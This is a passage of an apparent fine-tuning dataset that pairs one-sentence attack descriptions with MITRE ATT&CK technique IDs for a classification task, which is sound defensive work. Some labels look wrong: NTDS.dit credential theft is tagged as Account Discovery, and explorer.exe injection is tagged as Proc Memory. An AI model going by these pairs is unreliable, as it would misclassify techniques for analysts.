            {
                "role": "user",
                "content": "By reparenting a malicious executable to a trusted system process, the adversary masks its activity and evades detection."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script stops the SQL Server service to halt business operations."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant encrypts all outbound HTTP requests with a custom symmetric cipher before sending them to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries set the AutoLogon registry values to automatically log in with a privileged account after a reboot."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a credential dumping tool to pull encrypted cookies from Safari's WebKit storage."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker distributed a file named \"report.xls.vbs\" that executed Visual Basic script despite its XLS appearance."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group embeds a reverse shell within the unused bits of a BMP image, which is later decoded by a custom loader."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group uses a scheduled task in OpenShift to periodically exfiltrate logs."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries scrape LinkedIn and corporate websites to gather information about the victim's business units and key personnel."
            },
            {
                "role": "assistant",
                "content": "T1591 - Gather Victim Org Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages a compromised cloud storage bucket to receive commands, then switches to a covert TLS channel for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor stores stolen credentials in an encrypted SQLite database to prevent easy extraction."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker configures the implant to issue DNS‑over‑HTTPS requests to a hidden web service, which serves as a dead‑drop resolver for malicious updates."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages a series of SOCKS5 proxies in succession to anonymize the source of data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is uploaded to a serverless function via a CI/CD pipeline compromise."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using advanced search operators on Yahoo, the malicious actor gathers metadata about the target's infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software creates a forwarding rule in the victim’s mail client, directing email traffic to the attacker’s domain."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware logs all user input by hooking the low‑level keyboard hook (WH_KEYBOARD_LL) in the operating system."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Android app escapes its sandbox and executes commands on the connected Windows host machine."
            },
            {
                "role": "assistant",
                "content": "T1611 - Escape to Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploited a vulnerable CI/CD pipeline to inject commands that disable the AWS Network Firewall for the production environment."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining root, the threat actor runs 'docker build' on the infected host to create a container with embedded backdoor."
            },
            {
                "role": "assistant",
                "content": "T1612 - Build Image on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion includes a routine that clears all sectors of the victim's SSD, removing any traces."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary compromises a web hosting provider's control panel and deploys phishing sites on victim domains."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses RESTful API calls over HTTPS to retrieve configuration updates."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a custom DLL, the malware injected into LSASS and performed a direct memory dump to retrieve user secrets."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a custom packer that strips the original binary's resources and sections, then re‑assembles it."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs a DNS lookup for a public domain from the victim machine to verify that external name resolution works, confirming internet connection."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attack code reads the registry key that contains the system's location settings to infer where the infected host resides."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers scrape credential dumps from paste sites and use them to flood the login page of a financial institution, hoping to gain unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1110.004 - Brute Force: Credential Stuffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exfiltrate data using a custom-built peer‑to‑peer protocol over port 443 to blend with normal traffic."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses reg.exe to export the SYSTEM and SAM files, then extracts credentials offline."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor steals a user's OTP seed and generates valid one-time passwords to bypass two-factor authentication."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uploads a malicious macro-enabled Office document to a shared drive to later trick users into opening it."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators run 'az storage account list' to enumerate Azure storage accounts in the subscription."
            },
            {
                "role": "assistant",
                "content": "T1526 - Cloud Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leverages existing domain trust relationships to move laterally between domains within a multi-domain forest, often going unnoticed due to the legitimate nature of these trusts."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor modifies the ACL on a service binary, granting write access to a low‑privilege account, replaces the binary with a backdoor, and triggers the service to run it."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro is hidden inside a spreadsheet’s hidden sheet, embedding the payload that activates when the sheet is accessed."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries gain access to a privileged service account and execute \"aws iam attach-user-policy\" to assign administrative policies."
            },
            {
                "role": "assistant",
                "content": "T1651 - Cloud Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a malicious .lnk file that loads a legitimate binary which then calls cmd.exe to run a secondary payload."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Windows Print Spooler service to send data to a remote print server they control, capturing the print jobs."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised Alibaba Cloud AccessKey, the attacker created new Elastic Compute Service (ECS) instances to establish a foothold."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By injecting code into a page, the adversary reads the authentication cookie and later replays it to maintain a persistent session."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan disables the antivirus signatures update service, reducing detection capabilities."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses CreateRemoteThread in a target process's extra window memory to execute a payload."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool searches the Thunderbird profile directory for mbox files and copies them to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A red team operation uses wscript.exe to execute a custom Visual Basic script that performs credential dumping via Mimikatz."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor's tool performs DNS queries to resolve the IP address of a staging server before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker issues a 'show startup-config' command on a network switch and redirects the output to an external host."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group compiled a list of customer names and contact information by scraping the victim's e‑commerce site product review sections."
            },
            {
                "role": "assistant",
                "content": "T1589 - Gather Victim Identity Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through malicious code, the threat actor initiates a snapshot of an Azure Managed Disk using the Azure SDK for .NET."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set disguises its command‑and‑control communications by using HTTP headers that mimic those of a common web browser."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses WMI queries to gather details about the client's network adapters, DNS settings, and firewall configuration."
            },
            {
                "role": "assistant",
                "content": "T1592.004 - Gather Victim Host Information: Client Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious software extracts stored TOTP secrets from the victim's device and generates valid one-time passwords for authentication."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor conducts WHOIS queries to gather historical domain ownership changes as part of their reconnaissance phase."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A scripted data exfiltration routine used SFTP with key‑based authentication to transfer files stealthily."
            },
            {
                "role": "assistant",
                "content": "T1071.002 - Application Layer Protocol: File Transfer Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leveraged a compromised advertising network to serve a malicious script that looks for specific MAC address prefixes and installs a cryptominer only on devices belonging to the target organization."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising the host, the threat actor changed file modification times to align with standard OS update schedules, effectively timestomping the artifacts."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the container's cgroup settings to gain elevated privileges and break out of the container, achieving host-level execution."
            },
            {
                "role": "assistant",
                "content": "T1611 - Escape to Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan leverages NtCreateProcessEx to spawn a dummy process, overwrites its image with malicious code, and then executes it."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider shared valid AWS access keys with external actors, enabling unauthorized cloud account access."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PDF exploits JavaScript to execute a system command that downloads additional malware."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker harvested TLS client certificates from the victim's file system and used them to authenticate to internal services."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script runs a command to purge all user accounts on the target machine."
            },
            {
                "role": "assistant",
                "content": "T1531 - Account Access Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors gain persistent access by placing a custom boot script in the ROMMON environment of a router, allowing code execution pre‑OS."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary accesses a network device's remote CLI session and issues commands to create hidden user accounts."
            },
            {
                "role": "assistant",
                "content": "T1059.008 - Command and Scripting Interpreter: Network Device CLI"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group manipulated DigitalOcean droplet sizes via the API to increase compute capacity for illicit processing."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistent code is achieved by deploying a Systemd timer unit that launches a malicious executable every day."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary utilized a Bash one-liner to add a persistent backdoor entry to the authorized_keys file."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor accesses /proc/*/status to identify processes running under high-privilege accounts for dumping."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker performs process injection by allocating memory in a legitimate explorer.exe process and writing malicious code into it before creating a remote thread."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a kernel vulnerability to trigger an endless loop in the scheduler, resulting in CPU starvation and endpoint denial of service."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A supply chain attacker compromises a widely used package manager repository, publishing a poisoned package that executes ransomware when installed."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware queries the SAM and NTDS.dit files to extract domain account credentials."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a compromised web session cookie to impersonate a legitimate user and perform actions on their behalf."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages process hollowing by hijacking a legitimate Windows service's process space to execute its payload stealthily."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a compromised account to sync files from a network share to a cloud storage bucket."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries abuse stolen SSH private keys to authenticate to remote servers without needing a password."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder creates a rogue process, then modifies the process’s parent reference to point to svchost.exe, making it blend in with system processes."
            },
            {
                "role": "assistant",
